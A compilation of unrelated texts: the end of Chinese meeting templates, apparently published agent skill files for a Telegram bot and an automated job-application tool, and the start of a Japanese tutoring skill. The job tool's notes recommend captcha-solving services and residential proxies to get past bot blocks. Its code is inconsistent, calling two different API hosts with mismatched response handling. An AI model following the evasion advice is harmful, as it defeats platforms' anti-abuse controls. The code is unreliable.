**评审日期:** _______________
### 需求概述
[1-2句话描述需求背景和目标]
### 评审意见汇总
| 模块 | 评审意见 | 提出人 | 处理方式 | 状态 |
|------|----------|--------|----------|------|
| | | | □接受 □拒绝 □待讨论 | |
### 技术风险点
1. [风险描述] — 影响程度:高/中/低 — 应对方案:
2.
### 评审结论
□ 通过,可进入开发
□ 有条件通过(需解决以下问题):
□ 不通过,需重新评审
### 修改要求(如不通过)
1.
2.
```
---
## 模板3:复盘会议
```markdown
# 项目复盘会议纪要
**复盘项目/Sprint:** _______________
**时间范围:** _______________至_______________
**参会人:** _______________
---
### 数据回顾
| 指标 | 目标 | 实际 | 差异 |
|------|------|------|------|
| | | | |
---
### 做得好的地方(Keep)
1.
2.
3.
### 需要改进的地方(Improve)
1.
2.
3.
### 下次尝试的事(Try)
1.
2.
---
### 改进行动项
| 改进点 | 具体行动 | 负责人 | 下个周期验收标准 |
|--------|----------|--------|-----------------|
| | | | |
```
---
## 快捷标记符号
- ✅ 已完成 / 已确认
- 🔴 高优先级 / 阻塞问题
- 🟡 中优先级 / 待确认
- 🟢 低优先级 / 信息同步
- ❓ 待讨论 / 需澄清
- 📌 重要决定
- 📎 参考资料链接
- ⏰ 时间敏感
OpenClaw skill for designing Telegram Bot API workflows and command-driven conversations using direct HTTPS requests (no SDKs).
---
name: telegram
description: OpenClaw skill for designing Telegram Bot API workflows and command-driven conversations using direct HTTPS requests (no SDKs).
---
# Telegram Bot Skill (Advanced)
## Purpose
Provide a clean, production-oriented guide for building Telegram bot workflows via the Bot API, focusing on command UX, update handling, and safe operations using plain HTTPS.
## Best fit
- You want a command-first bot that behaves professionally.
- You need a reliable update flow (webhook or polling).
- You prefer direct HTTP calls instead of libraries.
## Not a fit
- You require a full SDK or framework integration.
- You need complex media uploads and streaming in-process.
## Quick orientation
- Read `references/telegram-bot-api.md` for endpoints, update types, and request patterns.
- Read `references/telegram-commands-playbook.md` for command UX and messaging style.
- Read `references/telegram-update-routing.md` for update normalization and routing rules.
- Read `references/telegram-request-templates.md` for HTTP payload templates.
- Keep this SKILL.md short and use references for details.
## Required inputs
- Bot token and base API URL.
- Update strategy: webhook or long polling.
- Command list and conversation tone.
- Allowed update types and rate-limit posture.
## Expected output
- A clear command design, update flow plan, and operational checklist.
## Operational notes
- Prefer strict command routing: `/start`, `/help`, `/settings`, `/status`.
- Always validate incoming update payloads and chat context.
- Handle 429s with backoff and avoid message bursts.
## Security notes
- Never log tokens.
- Use webhooks with a secret token header when possible.
FILE:_meta.json
{
"ownerId": "kn7ehv4at8yekzag31spcarxm180bev0",
"slug": "lovefromio-telegram",
"version": "1.0.1",
"publishedAt": 1770028389996
}
FILE:references/telegram-bot-api.md
# Telegram Bot API Field Notes
## 1) Base URL and request style
- Base format: `https://api.telegram.org/bot<token>/<method>`
- Use GET or POST with JSON or form-encoded payloads.
- File uploads use `multipart/form-data` and `attach://` references.
## 2) Updates and delivery models
### Long polling
- `getUpdates` delivers updates with an `offset` cursor and `timeout`.
### Webhook
- `setWebhook` switches the bot to webhook mode.
- Webhook URLs must be HTTPS. Check the official docs for port restrictions.
### Update types (examples)
- `message`, `edited_message`, `channel_post`, `edited_channel_post`
- `inline_query`, `chosen_inline_result`, `callback_query`
- `shipping_query`, `pre_checkout_query`, `poll`, `poll_answer`
Use `allowed_updates` to limit which updates you receive.
## 3) High-traffic-safe patterns
- Use `allowed_updates` to reduce noise.
- Keep handlers idempotent (Telegram may retry).
- Return quickly from webhooks; process heavy work async.
## 4) Common methods (non-exhaustive)
- `getMe`, `getUpdates`, `setWebhook`
- `sendMessage`, `editMessageText`, `deleteMessage`
- `sendPhoto`, `sendDocument`, `sendChatAction`
- `answerCallbackQuery`, `answerInlineQuery`
## 5) Common fields (non-exhaustive)
### sendMessage
- `chat_id`, `text`, `parse_mode`
- `entities`, `disable_web_page_preview`
- `reply_markup` (inline keyboard, reply keyboard)
### reply_markup (inline keyboard)
- `inline_keyboard`: array of button rows
- Buttons can contain `text` + `callback_data` or `url`
### callback_query
- `id`, `from`, `message`, `data`
### sendChatAction
- `action`: `typing`, `upload_photo`, `upload_document`, `upload_video`, `choose_sticker`
## 6) Command UX checklist
- `/start`: greet, explain features, and show main commands.
- `/help`: include short examples and support contact.
- `/settings`: show toggles with inline keyboards.
- `/status`: show recent job results or queue size.
## 7) Error handling
- `429`: back off and retry.
- `400`: validate chat_id, message length, and formatting.
- `403`: bot blocked or chat not accessible.
## 8) Reference links
- https://core.telegram.org/bots/api
- https://core.telegram.org/bots/faq
FILE:references/telegram-commands-playbook.md
# Telegram Command Playbook
## Command set (professional baseline)
- `/start`: greet, set expectations, and show main actions.
- `/help`: short help + examples.
- `/status`: show last job result, queue length, or uptime.
- `/settings`: show toggles via inline keyboard.
- `/about`: short bot description and support contact.
## Command UX patterns
- Acknowledge fast, then do heavy work asynchronously.
- Prefer short replies with a single call-to-action.
- Always include “what next?” in `/start` and `/help`.
## Inline keyboard patterns
- Use stable callback_data names (e.g., `settings:notifications:on`).
- Keep callbacks idempotent.
## Message style guidelines
- Use MarkdownV2 or HTML consistently; avoid mixing.
- If using MarkdownV2, escape reserved characters.
- Keep single message length under safe limits; split when needed.
## Examples (short)
- `/start` reply: “Hi! I can publish posts and send alerts. Try /help.”
- `/status` reply: “Queue: 2 jobs. Last run: success 2m ago.”
FILE:references/telegram-request-templates.md
# Telegram Request Templates (HTTP)
## sendMessage
POST `/sendMessage`
```json
{
"chat_id": 123456789,
"text": "Hello",
"parse_mode": "HTML",
"disable_web_page_preview": true
}
```
## editMessageText
POST `/editMessageText`
```json
{
"chat_id": 123456789,
"message_id": 42,
"text": "Updated",
"parse_mode": "HTML"
}
```
## answerCallbackQuery
POST `/answerCallbackQuery`
```json
{
"callback_query_id": "1234567890",
"text": "Saved"
}
```
## setWebhook
POST `/setWebhook`
```json
{
"url": "https://example.com/telegram/webhook",
"secret_token": "your-secret",
"allowed_updates": ["message","callback_query"]
}
```
FILE:references/telegram-update-routing.md
# Telegram Update Routing
## Update normalization
- Normalize inbound updates to a single envelope:
- `update_id`, `chat_id`, `user_id`, `message_id`, `text`, `callback_data`, `type`
- This makes routing logic consistent across message types.
## Routing rules
- If `callback_query` exists, handle callbacks first.
- Else if `message.text` starts with `/`, treat as command.
- Else fall back to default handler (help or menu).
## Safe defaults
- Unknown command: reply with `/help` guidance.
- Unknown callback: answerCallbackQuery with a short notice.
## Idempotency
- Keep a cache of processed `update_id` in case of retries.
- Ensure handlers can be safely re-run.
## Error handling
- On 429: backoff and retry with jitter.
- On 400: validate payload length and parse mode.
Automated job search and application system for Clawdbot. Use when the user wants to search for jobs and automatically apply to positions matching their crit...
---
name: job-auto-apply
description: Automated job search and application system for Clawdbot. Use when the user wants to search for jobs and automatically apply to positions matching their criteria. Handles job searching across LinkedIn, Indeed, Glassdoor, ZipRecruiter, and Wellfound, generates tailored cover letters via SkillBoss API Hub, analyzes job compatibility with AI, fills application forms, and tracks application status. Use when user says things like "find and apply to jobs", "auto-apply for [job title]", "search for [position] jobs and apply", or "help me apply to multiple jobs automatically".
requires_env: [SKILLBOSS_API_KEY]
---
# Job Auto-Apply Skill
Automate job searching and application submission across multiple job platforms using Clawdbot. AI-powered cover letter generation and job compatibility analysis are provided by SkillBoss API Hub.
## Overview
This skill enables automated job search and application workflows. It searches for jobs matching user criteria, analyzes compatibility using SkillBoss API Hub's AI capabilities, generates tailored cover letters, and submits applications automatically or with user confirmation.
**Supported Platforms:**
- LinkedIn (including Easy Apply)
- Indeed
- Glassdoor
- ZipRecruiter
- Wellfound (AngelList)
## Quick Start
### 1. Set Up Environment
```bash
export SKILLBOSS_API_KEY=your_skillboss_api_key
```
### 2. Set Up User Profile
First, create a user profile using the template:
```bash
# Copy the profile template
cp profile_template.json ~/job_profile.json
# Edit with user's information
# Fill in: name, email, phone, resume path, skills, preferences
```
### 3. Run Job Search and Apply
```bash
# Basic usage - search and apply (dry run)
python job_search_apply.py \
--title "Software Engineer" \
--location "San Francisco, CA" \
--remote \
--max-applications 10 \
--dry-run
# With profile file
python job_search_apply.py \
--profile ~/job_profile.json \
--title "Backend Engineer" \
--platforms linkedin,indeed \
--auto-apply
# Production mode (actual applications)
python job_search_apply.py \
--profile ~/job_profile.json \
--title "Senior Developer" \
--no-dry-run \
--require-confirmation
```
## Workflow Steps
### Step 1: Profile Configuration
Load the user's profile from the template or create programmatically:
```python
from job_search_apply import ApplicantProfile
profile = ApplicantProfile(
full_name="Jane Doe",
email="[email protected]",
phone="+1234567890",
resume_path="~/Documents/resume.pdf",
linkedin_url="https://linkedin.com/in/janedoe",
years_experience=5,
authorized_to_work=True,
requires_sponsorship=False
)
```
### Step 2: Define Search Parameters
```python
from job_search_apply import JobSearchParams, JobPlatform
search_params = JobSearchParams(
title="Software Engineer",
location="Remote",
remote=True,
experience_level="mid",
job_type="full-time",
salary_min=100000,
platforms=[JobPlatform.LINKEDIN, JobPlatform.INDEED]
)
```
### Step 3: Run Automated Application
```python
from job_search_apply import auto_apply_workflow
results = auto_apply_workflow(
search_params=search_params,
profile=profile,
max_applications=10,
min_match_score=0.75,
dry_run=False,
require_confirmation=True
)
```
## Integration with Clawdbot
### Using as a Clawdbot Tool
When installed as a Clawdbot skill, invoke via natural language:
**Example prompts:**
- "Find and apply to Python developer jobs in San Francisco"
- "Search for remote backend engineer positions and apply to the top 5 matches"
- "Auto-apply to senior software engineer roles with 100k+ salary"
- "Apply to jobs at tech startups on Wellfound"
The skill will:
1. Parse the user's intent and extract search parameters
2. Load the user's profile from saved configuration
3. Search across specified platforms
4. Analyze job compatibility via SkillBoss API Hub (AI-powered)
5. Generate tailored cover letters via SkillBoss API Hub
6. Submit applications (with confirmation if enabled)
7. Report results and track applications
### Configuration in Clawdbot
Add to your Clawdbot configuration:
```json
{
"skills": {
"job-auto-apply": {
"enabled": true,
"profile_path": "~/job_profile.json",
"default_platforms": ["linkedin", "indeed"],
"max_daily_applications": 10,
"require_confirmation": true,
"dry_run": false
}
}
}
```
## Features
### 1. Multi-Platform Search
- Searches across all major job platforms
- Uses official APIs when available
- Falls back to web scraping for platforms without APIs
### 2. Smart Matching (powered by SkillBoss API Hub)
- Analyzes job descriptions for requirement matching using AI via SkillBoss API Hub
- Calculates compatibility scores
- Filters jobs based on minimum match threshold
### 3. Application Customization (powered by SkillBoss API Hub)
- Generates tailored cover letters per job using SkillBoss API Hub's AI
- Customizes resume emphasis based on job requirements
- Handles platform-specific application forms
### 4. Safety Features
- **Dry Run Mode**: Test without submitting applications
- **Manual Confirmation**: Review each application before submission
- **Rate Limiting**: Prevents overwhelming platforms
- **Application Logging**: Tracks all submissions for reference
### 5. Form Automation
Automatically fills common application fields:
- Personal information
- Work authorization status
- Education and experience
- Skills and certifications
- Screening questions (using SkillBoss API Hub AI when needed)
## Advanced Usage
### Custom Cover Letter Templates
Create a template with placeholders:
```text
Dear Hiring Manager at {company},
I am excited to apply for the {position} role. With {years} years of
experience in {skills}, I believe I would be an excellent fit.
{custom_paragraph}
I look forward to discussing how I can contribute to {company}'s success.
Best regards,
{name}
```
### Application Tracking
Results are automatically saved in JSON format with details on each application submitted, including timestamps, match scores, and status.
## Bundled Resources
### Scripts
- `job_search_apply.py` - Main automation script with search, matching, and application logic (AI features via SkillBoss API Hub)
### References
- `platform_integration.md` - Technical documentation for API integration, web scraping, form automation, and platform-specific details
### Assets
- `profile_template.json` - Comprehensive profile template with all required and optional fields
## Safety and Ethics
### Important Guidelines
1. **Truthfulness**: Never misrepresent qualifications or experience
2. **Genuine Interest**: Only apply to jobs you're actually interested in
3. **Rate Limiting**: Respect platform limits and terms of service
4. **Manual Review**: Consider enabling confirmation mode for quality control
5. **Privacy**: Secure storage of personal information and credentials
### Best Practices
- Start with dry-run mode to verify behavior
- Set reasonable limits (5-10 applications per day)
- Use high match score thresholds (0.75+)
- Enable confirmation for important applications
- Track results to optimize strategy
FILE:job_search_apply.py
#!/usr/bin/env python3
"""
Job Search and Auto-Apply Script
Searches for jobs and automates application submissions across multiple platforms.
"""
import json
import os
import time
import requests
from typing import List, Dict, Optional
from dataclasses import dataclass
from enum import Enum
SKILLBOSS_API_KEY = os.environ["SKILLBOSS_API_KEY"]
_API_BASE = "https://api.heybossai.com/v1"
def _pilot(body: dict) -> dict:
r = requests.post(
f"{_API_BASE}/pilot",
headers={"Authorization": f"Bearer {SKILLBOSS_API_KEY}", "Content-Type": "application/json"},
json=body,
timeout=60,
)
return r.json()
class JobPlatform(Enum):
"""Supported job platforms"""
LINKEDIN = "linkedin"
INDEED = "indeed"
GLASSDOOR = "glassdoor"
ZIPRECRUITER = "ziprecruiter"
WELLFOUND = "wellfound" # formerly AngelList
@dataclass
class JobSearchParams:
"""Parameters for job search"""
title: str
location: Optional[str] = None
remote: bool = True
experience_level: Optional[str] = None # entry, mid, senior
job_type: Optional[str] = None # full-time, part-time, contract
salary_min: Optional[int] = None
platforms: List[JobPlatform] = None
def __post_init__(self):
if self.platforms is None:
self.platforms = [JobPlatform.LINKEDIN, JobPlatform.INDEED]
@dataclass
class ApplicantProfile:
"""Applicant's profile information"""
full_name: str
email: str
phone: str
resume_path: str
cover_letter_template: Optional[str] = None
linkedin_url: Optional[str] = None
portfolio_url: Optional[str] = None
github_url: Optional[str] = None
years_experience: Optional[int] = None
# Work authorization
authorized_to_work: bool = True
requires_sponsorship: bool = False
# Additional info
willing_to_relocate: bool = False
preferred_start_date: Optional[str] = None
def search_jobs(params: JobSearchParams) -> List[Dict]:
"""
Search for jobs across specified platforms.
Args:
params: Job search parameters
Returns:
List of job postings matching criteria
"""
print(f"🔍 Searching for '{params.title}' jobs...")
print(f" Platforms: {[p.value for p in params.platforms]}")
print(f" Location: {params.location or 'Remote/Any'}")
# This is a placeholder - in real implementation, this would:
# 1. Use Selenium/Playwright to scrape job boards
# 2. Use official APIs where available (LinkedIn, Indeed)
# 3. Parse job listings and extract relevant data
jobs = []
# Example job structure
example_job = {
"id": "job_123",
"title": params.title,
"company": "Example Corp",
"location": params.location or "Remote",
"platform": JobPlatform.LINKEDIN.value,
"url": "https://linkedin.com/jobs/view/123",
"description": "Sample job description",
"has_easy_apply": True,
"posted_date": "2024-01-15",
"salary_range": "$100k - $150k",
}
print(f"✅ Found {len(jobs)} jobs (example mode)")
return jobs
def analyze_job_compatibility(job: Dict, profile: ApplicantProfile) -> Dict:
"""
Analyze if a job is a good match for the applicant using SkillBoss API Hub.
Args:
job: Job posting data
profile: Applicant profile
Returns:
Compatibility analysis
"""
prompt = (
f"Analyze this job posting and applicant profile for compatibility.\n\n"
f"Job Title: {job.get('title')}\nCompany: {job.get('company')}\n"
f"Description: {job.get('description', 'N/A')}\n\n"
f"Applicant: {profile.full_name}, {profile.years_experience or 0} years experience.\n\n"
f"Respond with JSON only: "
f'{{ "match_score": <0.0-1.0>, "key_matches": [...], "missing_requirements": [...], "recommended": <true|false> }}'
)
result = _pilot({
"type": "chat",
"inputs": {"messages": [{"role": "user", "content": prompt}]},
"prefer": "balanced",
})
text = result["result"]["choices"][0]["message"]["content"]
try:
# Strip markdown code fences if present
cleaned = text.strip().removeprefix("```json").removeprefix("```").removesuffix("```").strip()
return json.loads(cleaned)
except Exception:
return {"match_score": 0.5, "key_matches": [], "missing_requirements": [], "recommended": False}
def generate_cover_letter(job: Dict, profile: ApplicantProfile) -> str:
"""
Generate a tailored cover letter for the job using SkillBoss API Hub.
Args:
job: Job posting data
profile: Applicant profile
Returns:
Personalized cover letter text
"""
template_hint = ""
if profile.cover_letter_template:
template_hint = f"\n\nUse this template as a guide:\n{profile.cover_letter_template}"
prompt = (
f"Write a professional, personalized cover letter for the following job application.\n\n"
f"Job Title: {job.get('title')}\nCompany: {job.get('company')}\n"
f"Job Description: {job.get('description', 'N/A')}\n\n"
f"Applicant Name: {profile.full_name}\n"
f"Years of Experience: {profile.years_experience or 'several'}\n"
f"LinkedIn: {profile.linkedin_url or 'N/A'}"
f"{template_hint}\n\n"
f"Return only the cover letter text, no extra commentary."
)
result = _pilot({
"type": "chat",
"inputs": {"messages": [{"role": "user", "content": prompt}]},
"prefer": "balanced",
})
return result["result"]["choices"][0]["message"]["content"]
def apply_to_job(job: Dict, profile: ApplicantProfile, dry_run: bool = True) -> Dict:
"""
Apply to a job posting.
Args:
job: Job posting data
profile: Applicant profile
dry_run: If True, don't actually submit applications
Returns:
Application result
"""
print(f"\n📝 {'[DRY RUN] ' if dry_run else ''}Applying to: {job['title']} at {job['company']}")
print(f" Platform: {job['platform']}")
print(f" URL: {job['url']}")
# In real implementation, this would:
# 1. Navigate to the application page
# 2. Fill out application forms
# 3. Upload resume/cover letter
# 4. Answer screening questions
# 5. Submit application
result = {
"job_id": job["id"],
"status": "dry_run" if dry_run else "submitted",
"timestamp": time.strftime("%Y-%m-%d %H:%M:%S"),
"platform": job["platform"],
"job_title": job["title"],
"company": job["company"],
}
if dry_run:
print(" ⚠️ DRY RUN - Application not submitted")
else:
print(" ✅ Application submitted successfully")
return result
def auto_apply_workflow(
search_params: JobSearchParams,
profile: ApplicantProfile,
max_applications: int = 10,
min_match_score: float = 0.7,
dry_run: bool = True,
require_confirmation: bool = True
) -> Dict:
"""
Complete workflow: search jobs and apply automatically.
Args:
search_params: Job search parameters
profile: Applicant profile
max_applications: Maximum number of applications to submit
min_match_score: Minimum compatibility score to apply
dry_run: If True, don't actually submit applications
require_confirmation: If True, ask for confirmation before each application
Returns:
Summary of applications submitted
"""
print("🚀 Starting automated job application workflow\n")
print(f" Max applications: {max_applications}")
print(f" Min match score: {min_match_score}")
print(f" Dry run: {dry_run}")
print(f" Confirmation required: {require_confirmation}\n")
# Search for jobs
jobs = search_jobs(search_params)
if not jobs:
print("❌ No jobs found matching your criteria")
return {"applications": [], "total": 0}
applications = []
applied_count = 0
for job in jobs:
if applied_count >= max_applications:
print(f"\n✋ Reached maximum application limit ({max_applications})")
break
# Analyze compatibility
compatibility = analyze_job_compatibility(job, profile)
if compatibility["match_score"] < min_match_score:
print(f"\n⏭️ Skipping: {job['title']} at {job['company']}")
print(f" Match score too low: {compatibility['match_score']}")
continue
print(f"\n✨ Good match found!")
print(f" Score: {compatibility['match_score']}")
print(f" Matches: {', '.join(compatibility['key_matches'][:3])}")
# Generate cover letter
cover_letter = generate_cover_letter(job, profile)
# Ask for confirmation if required
if require_confirmation and not dry_run:
response = input(f"\n Apply to this job? (y/n): ")
if response.lower() != 'y':
print(" ⏭️ Skipped by user")
continue
# Apply to job
result = apply_to_job(job, profile, dry_run=dry_run)
result["match_score"] = compatibility["match_score"]
applications.append(result)
applied_count += 1
# Rate limiting
time.sleep(2)
# Summary
print("\n" + "="*60)
print("📊 APPLICATION SUMMARY")
print("="*60)
print(f"Jobs found: {len(jobs)}")
print(f"Applications submitted: {applied_count}")
print(f"Success rate: {(applied_count/len(jobs)*100) if jobs else 0:.1f}%")
return {
"applications": applications,
"total": applied_count,
"jobs_found": len(jobs),
"search_params": {
"title": search_params.title,
"location": search_params.location,
"remote": search_params.remote
}
}
def main():
"""Example usage"""
# Create applicant profile
profile = ApplicantProfile(
full_name="John Doe",
email="[email protected]",
phone="+1234567890",
resume_path="~/Documents/resume.pdf",
linkedin_url="https://linkedin.com/in/johndoe",
github_url="https://github.com/johndoe",
years_experience=5,
)
# Create search parameters
search_params = JobSearchParams(
title="Software Engineer",
location="San Francisco, CA",
remote=True,
experience_level="mid",
job_type="full-time",
platforms=[JobPlatform.LINKEDIN, JobPlatform.INDEED]
)
# Run workflow
results = auto_apply_workflow(
search_params=search_params,
profile=profile,
max_applications=10,
min_match_score=0.75,
dry_run=True, # Set to False for actual applications
require_confirmation=True
)
# Save results
with open("application_results.json", "w") as f:
json.dump(results, f, indent=2)
print(f"\n💾 Results saved to application_results.json")
if __name__ == "__main__":
main()
FILE:platform_integration.md
# Job Platform Integration Reference
This document provides technical details for integrating with various job platforms.
## Platform APIs
### LinkedIn Jobs API
- **Documentation**: https://developer.linkedin.com/docs/v2/jobs
- **Authentication**: OAuth 2.0
- **Rate Limits**: 100 requests per day (free tier)
- **Easy Apply**: Available through API for partner integrations
- **Required Scopes**: `r_basicprofile`, `r_emailaddress`, `w_member_social`
### Indeed API
- **Documentation**: https://opensource.indeedeng.io/api-documentation/
- **Authentication**: API Key
- **Rate Limits**: 1000 requests per day
- **Application Method**: Redirect to Indeed's application page
- **Job Search**: Supports advanced filters
### Glassdoor API
- **Documentation**: https://www.glassdoor.com/developer/index.htm
- **Authentication**: API Key + Partner ID
- **Rate Limits**: Varies by partnership tier
- **Features**: Job listings, company reviews, salary data
### ZipRecruiter API
- **Documentation**: Contact ZipRecruiter for partner API access
- **Authentication**: API Key
- **Features**: Job posting, applicant tracking integration
### Wellfound (AngelList)
- **Documentation**: https://docs.wellfound.com/
- **Authentication**: OAuth 2.0
- **Focus**: Startup and tech jobs
- **Easy Apply**: Built-in quick apply feature
## Web Scraping Approach
When APIs are not available or limited, use web scraping with these tools:
### Selenium Setup
```python
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
options = webdriver.ChromeOptions()
options.add_argument('--headless')
options.add_argument('--no-sandbox')
driver = webdriver.Chrome(options=options)
```
### Playwright (Recommended)
```python
from playwright.sync_api import sync_playwright
with sync_playwright() as p:
browser = p.chromium.launch(headless=True)
page = browser.new_page()
page.goto('https://linkedin.com/jobs')
```
## Application Form Automation
### Common Form Fields
1. **Personal Information**
- Full name
- Email address
- Phone number
- Location/Address
2. **Professional Information**
- Resume/CV upload
- Cover letter (text or upload)
- LinkedIn profile URL
- Portfolio/Website URL
- GitHub/GitLab profile
3. **Work Authorization**
- Authorized to work in [country]?
- Require visa sponsorship?
- Willing to relocate?
4. **Experience & Education**
- Years of experience
- Highest education level
- Degree field
- University name
5. **Screening Questions**
- Custom questions (vary by employer)
- Multiple choice or text answers
- Skills assessments
### Form Field Selectors
#### LinkedIn Easy Apply
```python
LINKEDIN_SELECTORS = {
"easy_apply_button": "button[aria-label*='Easy Apply']",
"phone": "input[name='phoneNumber']",
"resume_upload": "input[type='file'][name*='resume']",
"submit": "button[aria-label='Submit application']",
}
```
#### Indeed
```python
INDEED_SELECTORS = {
"apply_button": "button[id*='apply']",
"name": "input[name='applicant.name']",
"email": "input[name='applicant.emailAddress']",
"phone": "input[name='applicant.phoneNumber']",
"resume": "input[type='file'][name='resume']",
}
```
## Best Practices
### Rate Limiting
- Add delays between applications (2-5 seconds minimum)
- Respect platform rate limits
- Use exponential backoff for retries
### Error Handling
```python
from tenacity import retry, stop_after_attempt, wait_exponential
@retry(
stop=stop_after_attempt(3),
wait=wait_exponential(multiplier=1, min=4, max=10)
)
def submit_application(job_url):
# Application logic
pass
```
### Session Management
- Maintain authenticated sessions
- Handle cookie persistence
- Refresh tokens before expiration
### Captcha Handling
- Use 2Captcha or Anti-Captcha services
- Implement manual intervention fallback
- Detect captcha presence early
## Compliance & Ethics
### Important Considerations
1. **Terms of Service**: Review each platform's ToS regarding automation
2. **Rate Limiting**: Don't overwhelm platforms with requests
3. **Truthfulness**: Never misrepresent information in applications
4. **Privacy**: Securely store and handle personal data
5. **Authenticity**: Each application should be genuine interest
### Recommended Approach
- Use official APIs when available
- Implement reasonable delays
- Add manual review checkpoints
- Maintain application logs
- Allow user confirmation before submission
## Profile Management
### Resume Tailoring
Use SkillBoss API Hub to customize resumes per job:
```python
import requests, os
SKILLBOSS_API_KEY = os.environ["SKILLBOSS_API_KEY"]
def tailor_resume(resume_text, job_description):
"""Customize resume to highlight relevant skills via SkillBoss API Hub"""
result = requests.post(
"https://api.skillboss.com/v1/pilot",
headers={"Authorization": f"Bearer {SKILLBOSS_API_KEY}", "Content-Type": "application/json"},
json={
"type": "chat",
"inputs": {"messages": [{"role": "user", "content":
f"Rewrite this resume to better match the job description.\n\nResume:\n{resume_text}\n\nJob Description:\n{job_description}\n\nReturn only the tailored resume text."
}]},
"prefer": "balanced",
},
timeout=60,
).json()
return result["data"]["result"]["choices"][0]["message"]["content"]
```
### Cover Letter Generation
Generate personalized cover letters via SkillBoss API Hub:
```python
import requests, os
SKILLBOSS_API_KEY = os.environ["SKILLBOSS_API_KEY"]
def generate_cover_letter(job, profile, company_research):
"""Create personalized cover letter via SkillBoss API Hub"""
result = requests.post(
"https://api.skillboss.com/v1/pilot",
headers={"Authorization": f"Bearer {SKILLBOSS_API_KEY}", "Content-Type": "application/json"},
json={
"type": "chat",
"inputs": {"messages": [{"role": "user", "content":
f"Write a professional cover letter for {profile['name']} applying to {job['title']} at {job['company']}.\n\nCompany research: {company_research}\n\nReturn only the cover letter text."
}]},
"prefer": "balanced",
},
timeout=60,
).json()
return result["data"]["result"]["choices"][0]["message"]["content"]
```
## Tracking & Analytics
### Application Tracker
```python
APPLICATION_SCHEMA = {
"job_id": str,
"company": str,
"position": str,
"applied_date": str,
"platform": str,
"status": str, # applied, rejected, interview, offer
"match_score": float,
"follow_up_date": str,
"notes": str
}
```
### Success Metrics
- Application-to-response rate
- Interview conversion rate
- Best performing platforms
- Most successful job titles/companies
- Time to hire statistics
## Security
### Credential Storage
```python
from cryptography.fernet import Fernet
import keyring
# Store credentials securely
keyring.set_password("job_automation", "linkedin", encrypted_password)
```
### Data Encryption
- Encrypt stored resumes and personal data
- Use environment variables for API keys
- Implement secure file permissions
## Troubleshooting
### Common Issues
1. **Session Expiration**: Implement token refresh logic
2. **DOM Changes**: Use flexible selectors, have fallbacks
3. **Captcha Blocks**: Reduce frequency, use residential proxies
4. **Form Variations**: Detect form type, adjust strategy
5. **Upload Failures**: Verify file formats, check size limits
### Debug Mode
Enable verbose logging to troubleshoot issues:
```python
import logging
logging.basicConfig(level=logging.DEBUG)
logger = logging.getLogger(__name__)
```
FILE:profile_template.json
{
"profile": {
"personal": {
"full_name": "Your Full Name",
"email": "[email protected]",
"phone": "+1-234-567-8900",
"location": {
"city": "San Francisco",
"state": "CA",
"country": "USA",
"zip_code": "94102"
},
"linkedin_url": "https://linkedin.com/in/yourprofile",
"portfolio_url": "https://yourportfolio.com",
"github_url": "https://github.com/yourusername"
},
"work_authorization": {
"authorized_to_work_us": true,
"requires_visa_sponsorship": false,
"has_security_clearance": false,
"willing_to_relocate": false,
"open_to_remote": true
},
"experience": {
"years_total": 5,
"current_title": "Senior Software Engineer",
"industry": "Technology",
"specializations": [
"Backend Development",
"API Design",
"Cloud Architecture"
]
},
"education": {
"highest_degree": "Bachelor's",
"field_of_study": "Computer Science",
"university": "University Name",
"graduation_year": 2018
},
"skills": {
"programming_languages": [
"Python",
"JavaScript",
"Go",
"TypeScript"
],
"frameworks": [
"Django",
"React",
"Node.js",
"FastAPI"
],
"tools": [
"Docker",
"Kubernetes",
"AWS",
"Git"
],
"soft_skills": [
"Team Leadership",
"Communication",
"Problem Solving",
"Agile/Scrum"
]
},
"preferences": {
"job_types": ["full-time", "contract"],
"work_arrangement": ["remote", "hybrid"],
"salary_expectations": {
"minimum": 120000,
"currency": "USD",
"period": "annual"
},
"preferred_company_sizes": ["startup", "mid-size", "enterprise"],
"industries_of_interest": [
"Technology",
"Fintech",
"Healthcare Tech"
],
"deal_breakers": [
"No remote option",
"Less than 2 weeks PTO",
"On-call 24/7"
]
},
"documents": {
"resume_path": "~/Documents/resume.pdf",
"cover_letter_template_path": "~/Documents/cover_letter_template.txt",
"portfolio_path": null,
"references_document": null
},
"application_settings": {
"platforms": ["linkedin", "indeed", "wellfound", "glassdoor"],
"max_applications_per_day": 10,
"min_match_score": 0.75,
"auto_apply_threshold": 0.9,
"require_manual_confirmation": true,
"save_application_logs": true,
"notifications": {
"email_on_application": true,
"email_on_response": true,
"daily_summary": true
}
},
"screening_answers": {
"why_leave_current_job": "Seeking new challenges and growth opportunities",
"expected_start_date": "2 weeks notice",
"salary_expectations": "Market rate based on experience",
"availability_for_interview": "Flexible, evenings and weekends preferred",
"what_interests_you": "I'm drawn to companies with strong engineering culture and opportunities for technical growth"
}
},
"search_criteria": {
"job_titles": [
"Software Engineer",
"Backend Engineer",
"Full Stack Engineer",
"Senior Developer"
],
"keywords_required": ["python", "api"],
"keywords_preferred": ["aws", "kubernetes", "microservices"],
"keywords_excluded": ["java", "frontend-only"],
"locations": [
{
"city": "San Francisco",
"state": "CA",
"radius_miles": 25
},
{
"remote": true
}
],
"experience_levels": ["mid-level", "senior"],
"company_blacklist": [
"companies-to-avoid"
]
}
}
FILE:README.md
# Job Auto Apply
Published via SkillPublisher.
## Installation
```bash
clawhub install qui-job-auto-apply
```
> More info: https://skillboss.co/skills/job-auto-apply
## Usage
See SKILL.md for details.
## License
MIT
Japanese-English translator and language tutor powered by SkillBoss API Hub. Use when: (1) User shares Japanese text and wants translation (news articles, tw...
---
name: japanese-translation-and-tutor
description: "Japanese-English translator and language tutor powered by SkillBoss API Hub. Use when: (1) User shares Japanese text and wants translation (news articles, tweets, signs, menus, emails). (2) User asks \"what does X mean\" for Japanese words/phrases. (3) User wants to learn Japanese grammar, vocabulary, or cultural context. (4) Triggers: \"translate\", \"what does this say\", \"Japanese to English\", \"help me understand\", \"explain this kanji\". Provides structured output with readings, vocabulary lists, and cultural notes."
requires_env: [SKILLBOSS_API_KEY]
---
# Japanese-English Translator & Tutor
Combine accurate translation with language education. Output structured translations with readings, vocabulary, and cultural context.
This skill uses SkillBoss API Hub (`/v1/pilot`, type: `chat`) for LLM-powered translation and tutoring.
## Output Format
```
*TRANSLATION*
[English translation]
*READING*
[Original with kanji readings: 漢字(かんじ)]
*VOCABULARY*
• word(reading) — _meaning_
*NOTES*
[Cultural context, grammar, nuances]
```
## Critical Rule: Kanji Readings
Every kanji MUST have hiragana in parentheses. No exceptions.
```
